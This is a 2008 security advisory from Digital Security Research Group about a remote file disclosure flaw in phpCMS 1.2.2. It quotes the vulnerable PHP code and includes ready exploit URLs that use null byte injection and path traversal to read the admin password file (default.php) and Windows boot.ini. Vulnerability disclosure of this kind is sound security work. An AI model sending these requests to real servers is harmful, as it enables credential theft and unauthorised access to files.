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phpCMS 1.2.2 remote file disclosure



Remote File Disclosure in phpCMS 1.2.2
Remote File Disclosure in phpCMS 1.2.2





Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-005


Application:                    phpCMS
Versions Affected:              1.2.2
Vendor URL: http://www.phpcms.de 
Bug:                            Remote File Disclosure, Get admin password
Exploits:                       YES
Reported:                       10.01.2008
Vendor response:                12.01.2008
Date of Public Advisory:        29.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

phpCMS system has remote File Disclosure vulnerability in page /parser/include/class.cache_phpcms.php


Details
*******

Attacer can read any files in web directory.

In file parser/parser.php include class.cache_phpcms.php

---------------------------------------

        // Load the i18n Handler
        if (isset ($_GET ['file']) && isset($DEFAULTS->I18N) && 'on' == $DEFAULTS->I18N) {
                include(PHPCMS_INCLUDEPATH.'/class.lib_i18n_phpcms.php');
                $I18N = &new i18n;
        }
        $PHPCMS->check_secure_stealth();
        include(PHPCMS_INCLUDEPATH.'/class.cache_phpcms.php');
        exit;

---------------------------------------


In file class.cache_phpcms.php function GetFile() parse URL and return full file name or default value.
Function checks file extension but does't check for null byte injection.

To read file  attacker must append a valid extension with null byte to file like a  "%00.gif" or smth.

---------------------------------------

// filequery exists, but filename is empty? -> set the defaultvalue for filename
if(!stristr($temp, $DEFAULTS->PAGE_EXTENSION) AND
        !stristr($temp, '.gif') AND
        !stristr($temp, '.png') AND
        !stristr($temp, '.jpg') AND
        !stristr($temp, '.js') AND
        !stristr($temp, '.css') AND
        !stristr($temp, '.htm') AND
        !stristr($temp, '.html'))

{       if(substr($temp, -1) != '/') {
                $temp = trim($temp).'/'.$DEFAULTS->PAGE_DEFAULTNAME;
                $temp.= $DEFAULTS->PAGE_EXTENSION;
        } else {
                $temp = trim($temp).$DEFAULTS->PAGE_DEFAULTNAME;
                $temp.= $DEFAULTS->PAGE_EXTENSION;
        }
}

---------------------------------------


In file class.cache_phpcms.php function CheckFile() take file name and if file exist read it and print file contents.

---------------------------------------
$PfadUndDatei = $this->GetFile();

$this->name = basename($PfadUndDatei);
$this->path = dirname($PfadUndDatei);
...

// there's no contentfile with this name -> errorpage or errormessage
if(!file_exists($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name)) {
        $errorname = basename($DEFAULTS->ERROR_PAGE_404);
        $errorpath = dirname($DEFAULTS->ERROR_PAGE_404);
        ...
...

$fsize = filesize($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name);
$fd = fopen($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name, "rb");
$contents = fread($fd, $fsize);
$contents = trim($contents);
$fsize = strlen($contents);
fclose($fd);
...

echo $contents;

---------------------------------------


Example: 



http://[server]/[installdir]/parser/parser.php?file=/parser/include/default.php%00.gif 

default.php includes admin password and other defaults:

---------------------------------------

class defaults {
        function defaults() {
                global $PHP, $PHPCMS;
                if(!defined("_DEFAULTS_")) {
                        define("_DEFAULTS_", TRUE);
                }

                $this->PASS = 'YourPasswordHere';
...

---------------------------------------


In windows we can read any local file:

http://[server]/[installdir]/parser/parser.php?file=\..\..\..\..\..\..\..\..\..\..\boot.ini%00.gif 




http://www.phpcms.de/download/index.en.html 






About
*****




Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
http://www.dsec.ru (in Russian) 


-- 

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mailto:research@dsec.ru 



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